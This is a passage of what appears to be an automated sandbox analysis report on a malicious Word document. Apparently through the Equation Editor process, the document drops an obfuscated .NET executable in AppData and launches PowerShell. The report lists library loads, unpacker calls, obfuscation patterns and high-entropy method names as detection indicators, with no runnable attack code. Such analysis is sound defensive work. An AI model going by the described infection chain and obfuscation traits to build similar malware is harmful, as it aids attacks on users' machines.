Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dnsapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: nlaapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Section loaded: webio.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Section loaded: credssp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: wow64win.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: msi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: cryptsp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dwmapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\InProcServer32 Jump to behavior
Source: na.LNK.0.dr LNK file: ..\..\..\..\..\Desktop\na.doc
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior

Data Obfuscation
barindex
.NET source code contains potential unpacker
Source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, gFGLQUQObC5qQ0lCjG.cs .Net Code: vUYaIWbHfr System.Reflection.Assembly.Load(byte[])
Source: 5.2.cmnjgyugo61000.exe.300000.0.raw.unpack, Uo.cs .Net Code: _202A_202E_206E_206A_202B_206A_200E_200D_206F_200D_200C_200B_206E_202C_202B_200E_206A_202D_202A_202C_202E_206B_202C_202E_202D_206F_206C_200E_202D_206B_202D_206D_202A_200C_200C_200B_200C_202B_200D_202E_202E System.Reflection.Assembly.Load(byte[])
Source: 5.2.cmnjgyugo61000.exe.3190770.4.raw.unpack, Uo.cs .Net Code: _202A_202E_206E_206A_202B_206A_200E_200D_206F_200D_200C_200B_206E_202C_202B_200E_206A_202D_202A_202C_202E_206B_202C_202E_202D_206F_206C_200E_202D_206B_202D_206D_202A_200C_200C_200B_200C_202B_200D_202E_202E System.Reflection.Assembly.Load(byte[])
Source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, gFGLQUQObC5qQ0lCjG.cs .Net Code: vUYaIWbHfr System.Reflection.Assembly.Load(byte[])
Source: 5.2.cmnjgyugo61000.exe.8510000.6.raw.unpack, gFGLQUQObC5qQ0lCjG.cs .Net Code: vUYaIWbHfr System.Reflection.Assembly.Load(byte[])
Uses code obfuscation techniques (call, push, ret)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_00598F58 push eax; retf 2_2_00598F61
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_005A5D52 push edx; ret 2_2_005A5D53
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_005A7750 push edx; ret 2_2_005A7753
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_005A7748 push edx; ret 2_2_005A774B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_005A7616 push edx; ret 2_2_005A7617
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_005A6830 push ebx; ret 2_2_005A6833
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_005A6B2E push edx; ret 2_2_005A6B2F
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_005A5AFC push edx; ret 2_2_005A5AFF
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_005901F4 push eax; retf 2_2_005901F5
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_005A5DF4 push edx; ret 2_2_005A5E33
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_0058F8EB push ss; ret 2_2_0058F8ED
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_005A5D88 push edx; ret 2_2_005A5D9B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_005A578E push edx; ret 2_2_005A5AF7
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_005A5DA0 push edx; ret 2_2_005A5DA3
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_005A5DA4 push edx; ret 2_2_005A5E33
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_001D214D push ebx; iretd 8_2_001D21EA
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_001D217B push ebx; iretd 8_2_001D21EA
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_001D21AD push ebx; iretd 8_2_001D21EA
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_001D21FB push ebx; iretd 8_2_001D21EA
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe Code function: 8_2_003F90F8 pushfd ; retn 0035h 8_2_003F90F9
Source: CLLPdgxhnmwGf5Y[1].exe.2.dr Static PE information: section name: .text entropy: 7.957335940199454
Source: cmnjgyugo61000.exe.2.dr Static PE information: section name: .text entropy: 7.957335940199454
Source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, LclYXFogjBwfmAAPnV.cs High entropy of concatenated method names: 'F1USxpNMBk', 'Jq9SO9y0AI', 't4JSvRXhgg', 'oBkSWif2HT', 'iHHSGwohj9', 'XJISZXHsFA', 'v4iSfxuTiy', 'sV1Snog1Rw', 'qXFS6YAKTm', 'r6NSHUj712'
Source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, e75oKkqSCgScEZvAKm.cs High entropy of concatenated method names: 'hxJJjLalPT', 'FByJB4yH7Y', 'vR3J9kkTvg', 'FNUJG2L1m7', 'yFZJfOhvoH', 'ENsJnMdcAZ', 'LwHJH4vFPv', 'u49Jd1AC2F', 'rtJJxf1Hrj', 'rBGJlRf0lj'
Source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, dShs4ezPBMDHRwLLMU.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'WNV1JYp7NV', 'MME1SIuBh4', 'hSJ1gtTjBG', 'KHx1rTHnPQ', 'XyA1AiRD0B', 'Cp911Hd8tG', 'q4t1bD3wha'
Source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, BJ2pW3uOeIoHjaHKoP.cs High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'kkyKVVMycG', 'RJbKQwpAQK', 'rNgKzXogEW', 'kJkeXtGhCv', 'YaOe4P68UO', 'oSReKKikWd', 'yaAeeoi7g5', 'OjLDxh8QHv1PoSo30Wy'
Source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, iiWnsRyLxDWh9ffbQG.cs High entropy of concatenated method names: 'z8hfKWksO4174XoE8sb', 'sduBimkqWJRA6XIEp9P', 'w4FCAfnJQA', 'IRtC1073jI', 'b1UCb3FBgn', 'qMsIDGkRpvcCXPleWeA', 'uwsGkJk4ZyLlZrk9HjD'
Source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, c28qukSTEIWu0Cb4yJ2.cs High entropy of concatenated method names: 'BZG1UdQGTA', 'TAD1DmlK1J', 'ATX1IuMZnV', 'OlA1uhJUrh', 'tDu1MtCvk3', 'TQS1tlxBPu', 'aCZ1wFIENe', 'tko1jMeH3B', 'JQ61B70Ym6', 'CXp15ltPZx'
Source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, q0jDvgXv2QdU043dgA.cs High entropy of concatenated method names: 'QoVNMoiNsu', 'X2RNwuYw3H', 'l1F0ZMiLSZ', 'Igr0fk0f4l', 'GCm0nPhHlW', 'cGe06Nixsk', 'KuY0HxlcEe', 'C5r0ddYDV6', 'HdD0hjBh8L', 'M600xx7UEw'
Source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, jnJIj2iDj4MGKBhUPO.cs High entropy of concatenated method names: 'qbPcFlMHUe', 'iRdc0c2YWL', 'uIvcC9tL8A', 'JklCQmlGPa', 'CBMCzaZXev', 'IFBcXsTxUZ', 'WkWc41nwg3', 'bMbcK16Eno', 'vODce8b1FW', 'REocakpsGA'
Source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, KQN7FiJmb5DebHwoE8.cs High entropy of concatenated method names: 'y2k14Z0MHC', 'eVU1e0EsIj', 'Yv51aqwlAe', 'oHW1F2Gha7', 'og31YqxXW2', 'Mux1NXbvKJ', 'Ueh1CWNSRb', 'kUeAqbIZmD', 'sWaA8BpmNc', 'q1QAV89B81'
Source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, vKe1BMSa6I25SnIIQFD.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'lbEbvODlhh', 'BMnbWH07VF', 'cy6boxn43E', 'yfjbs6xUAR', 'EX4b70NDwN', 'ah2biYLMi2', 'S9Bbqh3eqi'
Source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, yOXVwBPrFV5waJhhZk.cs High entropy of concatenated method names: 'W6IcUrtJd4', 'jLIcDIqqlC', 'xAacIkvTaQ', 'Ps0cuqSHnK', 'RKLcMVI99n', 'btEcthLejQ', 'SoOcwtVC5i', 'FTxcjfKpYH', 'd26cBsOoUV', 'Yc3c5H98pY'
Source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, BKdqCmVayTvkt8v6qJ.cs High entropy of concatenated method names: 'Dispose', 'UQA4VWHPJU', 'BBbKGAgDsR', 'YiLEEBN755', 'Os04QiF3T9', 'l2m4zFWCkE', 'ProcessDialogKey', 'qWZKXwL9at', 'RwIK4B573C', 'zByKKeMcep'
Source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, kPZwByDBcRi0ZY7Ors.cs High entropy of concatenated method names: 'vAvCTD0w87', 'LjECUbwml7', 'aYSCIsmyQr', 'ua7Cuj4FVx', 'vQvCtZg9RE', 'gyeCwoUsip', 'BQtCBEjJCX', 'O81C5Q2bV8', 'NbOPTokMOJHeW5xHVJJ', 'oFiVxlkG8SwvnNbfwVS'
Source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, BsieyFtZXxC0YkKZ1m.cs High entropy of concatenated method names: 'a33ryE1GHD', 'VXPr2iRiR8', 'ToString', 'mX4rF0a1LX', 'CSgrYCKn6m', 'QPcr0Y5ffo', 'NKUrNZvCB3', 'BtNrCLRn3g', 'mxqrc7R6Re', 'VQsrPnRr90'
Source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, W6lmCG9Nq4m7ubavG2.cs High entropy of concatenated method names: 'fTyCmkEkhg', 'E8XCYrb04p', 'e2VCNeV3wT', 'kcYCc5Auhx', 'SGUCPgN2yL', 'T6ZN781iuH', 'hGPNi8gbsf', 'Rm7Nqg1QPA', 'fw5N8f1N4e', 'MtENVIUGma'
Source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, e5cxfFeW2LybtdDGiN.cs High entropy of concatenated method names: 'Wnr0u29UJq', 'dPF0td7v8v', 'GlK0j1jW4j', 'sJt0BB2Nup', 'y4L0SROAgF', 'MiT0gb1v6V', 'aGG0r1KZxe', 'ELU0AXCVDd', 'MaI01Tmi4F', 'mC80beGQRO'
Source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, FpO6EurS5foft958ol.cs High entropy of concatenated method names: 'EKyYvBmABP', 'KxtYWEjRWO', 'SlZYonVwpI', 'l9dYsNPKxr', 'lwJY7PujaT', 'Wk6YiBypLy', 'NM8YqrB9s4', 'pwVY81CPZc', 'yY8YVSPRtG', 'jetYQldbau'
Source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, fmeKAfSSnKI2ClfROdS.cs High entropy of concatenated method names: 'ToString', 'dL9bea7GXl', 'vkuba5KcRD', 'TbvbmRmO9E', 's5vbFp6nqP', 'wtfbY5An4h', 'V2jb0jV5Nm', 'tUVbNdSJlo', 'DSL4jdK3uMRfNS7Rphg', 'w2vnQOKdfogYxUpyxUB'
Source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, zOLJmBCA1Teg7PiV1L.cs High entropy of concatenated method names: 'NLnAFadnEg', 'SHCAYjqP9x', 'P8eA0M4mwA', 'ri8ANZyG1j', 'JUOACZTmeK', 'Ye6AcwdoTr', 'xTuAPXlbKb', 'pf5A3bfeVT', 'V0hAyemlds', 'q3oA2J1hj0'
Source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, Xvr3YLNGwrNm4NZwvB.cs High entropy of concatenated method names: 'UDQr8IS14h', 'SqorQSDk3E', 'JkUAXRyiNC', 'MxZA4OUEVm', 'XOkrlmYGdn', 'El8rORYZiY', 'zZwrLA8oTX', 'xKPrvvbgjm', 'nFJrW3Aw2s', 'HCuropyBI2'
Source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, gFGLQUQObC5qQ0lCjG.cs High entropy of concatenated method names: 'OvBemqwNU8', 'EoYeF4xmdo', 'uVReYFtpsC', 'WYPe0l4Jkg', 'wlleNxZbHk', 'sKxeC2RQiQ', 'o19ecKCXAa', 'igSePDPaDn', 'tbee3Dsww0', 'C9OeyJDbrf'
Source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, AeDNYYHlu3VDqHZLHr.cs High entropy of concatenated method names: 'WkiI3V4vJ', 'oBGuqejTZ', 'hhstBGGaT', 'Dd3wrQluM', 'QSsBVpXkL', 'f2r5x13Xl', 'RAYawt6wWaILic8Zur', 'RhQNS4WYJgUA7ognfS', 'IndAyxbvC', 'etSbJDeMJ'
Source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, ibXryOsUOOV6l7fNKm.cs High entropy of concatenated method names: 'kaN4cqGN2t', 'vFd4PBWreL', 'RwE4yUHCUB', 'ImC42hW0kt', 'qCV4SmB4VN', 'fdK4gaKuCc', 'uOD5p9CVIqLqY6AjMY', 'BDEuXcaNisbudQFChG', 'M7m44tBOuL', 'vuf4eZbtxd'
Source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, LclYXFogjBwfmAAPnV.cs High entropy of concatenated method names: 'F1USxpNMBk', 'Jq9SO9y0AI', 't4JSvRXhgg', 'oBkSWif2HT', 'iHHSGwohj9', 'XJISZXHsFA', 'v4iSfxuTiy', 'sV1Snog1Rw', 'qXFS6YAKTm', 'r6NSHUj712'
Source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, e75oKkqSCgScEZvAKm.cs High entropy of concatenated method names: 'hxJJjLalPT', 'FByJB4yH7Y', 'vR3J9kkTvg', 'FNUJG2L1m7', 'yFZJfOhvoH', 'ENsJnMdcAZ', 'LwHJH4vFPv', 'u49Jd1AC2F', 'rtJJxf1Hrj', 'rBGJlRf0lj'
Source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, dShs4ezPBMDHRwLLMU.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'WNV1JYp7NV', 'MME1SIuBh4', 'hSJ1gtTjBG', 'KHx1rTHnPQ', 'XyA1AiRD0B', 'Cp911Hd8tG', 'q4t1bD3wha'
Source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, BJ2pW3uOeIoHjaHKoP.cs High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'kkyKVVMycG', 'RJbKQwpAQK', 'rNgKzXogEW', 'kJkeXtGhCv', 'YaOe4P68UO', 'oSReKKikWd', 'yaAeeoi7g5', 'OjLDxh8QHv1PoSo30Wy'
Source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, iiWnsRyLxDWh9ffbQG.cs High entropy of concatenated method names: 'z8hfKWksO4174XoE8sb', 'sduBimkqWJRA6XIEp9P', 'w4FCAfnJQA', 'IRtC1073jI', 'b1UCb3FBgn', 'qMsIDGkRpvcCXPleWeA', 'uwsGkJk4ZyLlZrk9HjD'
Source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, c28qukSTEIWu0Cb4yJ2.cs High entropy of concatenated method names: 'BZG1UdQGTA', 'TAD1DmlK1J', 'ATX1IuMZnV', 'OlA1uhJUrh', 'tDu1MtCvk3', 'TQS1tlxBPu', 'aCZ1wFIENe', 'tko1jMeH3B', 'JQ61B70Ym6', 'CXp15ltPZx'
Source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, q0jDvgXv2QdU043dgA.cs High entropy of concatenated method names: 'QoVNMoiNsu', 'X2RNwuYw3H', 'l1F0ZMiLSZ', 'Igr0fk0f4l', 'GCm0nPhHlW', 'cGe06Nixsk', 'KuY0HxlcEe', 'C5r0ddYDV6', 'HdD0hjBh8L', 'M600xx7UEw'
Source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, jnJIj2iDj4MGKBhUPO.cs High entropy of concatenated method names: 'qbPcFlMHUe', 'iRdc0c2YWL', 'uIvcC9tL8A', 'JklCQmlGPa', 'CBMCzaZXev', 'IFBcXsTxUZ', 'WkWc41nwg3', 'bMbcK16Eno', 'vODce8b1FW', 'REocakpsGA'
Source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, KQN7FiJmb5DebHwoE8.cs High entropy of concatenated method names: 'y2k14Z0MHC', 'eVU1e0EsIj', 'Yv51aqwlAe', 'oHW1F2Gha7', 'og31YqxXW2', 'Mux1NXbvKJ', 'Ueh1CWNSRb', 'kUeAqbIZmD', 'sWaA8BpmNc', 'q1QAV89B81'
Source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, vKe1BMSa6I25SnIIQFD.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'lbEbvODlhh', 'BMnbWH07VF', 'cy6boxn43E', 'yfjbs6xUAR', 'EX4b70NDwN', 'ah2biYLMi2', 'S9Bbqh3eqi'
Source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, yOXVwBPrFV5waJhhZk.cs High entropy of concatenated method names: 'W6IcUrtJd4', 'jLIcDIqqlC', 'xAacIkvTaQ', 'Ps0cuqSHnK', 'RKLcMVI99n', 'btEcthLejQ', 'SoOcwtVC5i', 'FTxcjfKpYH', 'd26cBsOoUV', 'Yc3c5H98pY'
Source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, BKdqCmVayTvkt8v6qJ.cs High entropy of concatenated method names: 'Dispose', 'UQA4VWHPJU', 'BBbKGAgDsR', 'YiLEEBN755', 'Os04QiF3T9', 'l2m4zFWCkE', 'ProcessDialogKey', 'qWZKXwL9at', 'RwIK4B573C', 'zByKKeMcep'
Source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, kPZwByDBcRi0ZY7Ors.cs High entropy of concatenated method names: 'vAvCTD0w87', 'LjECUbwml7', 'aYSCIsmyQr', 'ua7Cuj4FVx', 'vQvCtZg9RE', 'gyeCwoUsip', 'BQtCBEjJCX', 'O81C5Q2bV8', 'NbOPTokMOJHeW5xHVJJ', 'oFiVxlkG8SwvnNbfwVS'
Source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, BsieyFtZXxC0YkKZ1m.cs High entropy of concatenated method names: 'a33ryE1GHD', 'VXPr2iRiR8', 'ToString', 'mX4rF0a1LX', 'CSgrYCKn6m', 'QPcr0Y5ffo', 'NKUrNZvCB3', 'BtNrCLRn3g', 'mxqrc7R6Re', 'VQsrPnRr90'
Source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, W6lmCG9Nq4m7ubavG2.cs High entropy of concatenated method names: 'fTyCmkEkhg', 'E8XCYrb04p', 'e2VCNeV3wT', 'kcYCc5Auhx', 'SGUCPgN2yL', 'T6ZN781iuH', 'hGPNi8gbsf', 'Rm7Nqg1QPA', 'fw5N8f1N4e', 'MtENVIUGma'
Source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, e5cxfFeW2LybtdDGiN.cs High entropy of concatenated method names: 'Wnr0u29UJq', 'dPF0td7v8v', 'GlK0j1jW4j', 'sJt0BB2Nup', 'y4L0SROAgF', 'MiT0gb1v6V', 'aGG0r1KZxe', 'ELU0AXCVDd', 'MaI01Tmi4F', 'mC80beGQRO'
Source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, FpO6EurS5foft958ol.cs High entropy of concatenated method names: 'EKyYvBmABP', 'KxtYWEjRWO', 'SlZYonVwpI', 'l9dYsNPKxr', 'lwJY7PujaT', 'Wk6YiBypLy', 'NM8YqrB9s4', 'pwVY81CPZc', 'yY8YVSPRtG', 'jetYQldbau'
Source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, fmeKAfSSnKI2ClfROdS.cs High entropy of concatenated method names: 'ToString', 'dL9bea7GXl', 'vkuba5KcRD', 'TbvbmRmO9E', 's5vbFp6nqP', 'wtfbY5An4h', 'V2jb0jV5Nm', 'tUVbNdSJlo', 'DSL4jdK3uMRfNS7Rphg', 'w2vnQOKdfogYxUpyxUB'
Source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, zOLJmBCA1Teg7PiV1L.cs High entropy of concatenated method names: 'NLnAFadnEg', 'SHCAYjqP9x', 'P8eA0M4mwA', 'ri8ANZyG1j', 'JUOACZTmeK', 'Ye6AcwdoTr', 'xTuAPXlbKb', 'pf5A3bfeVT', 'V0hAyemlds', 'q3oA2J1hj0'
Source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, Xvr3YLNGwrNm4NZwvB.cs High entropy of concatenated method names: 'UDQr8IS14h', 'SqorQSDk3E', 'JkUAXRyiNC', 'MxZA4OUEVm', 'XOkrlmYGdn', 'El8rORYZiY', 'zZwrLA8oTX', 'xKPrvvbgjm', 'nFJrW3Aw2s', 'HCuropyBI2'
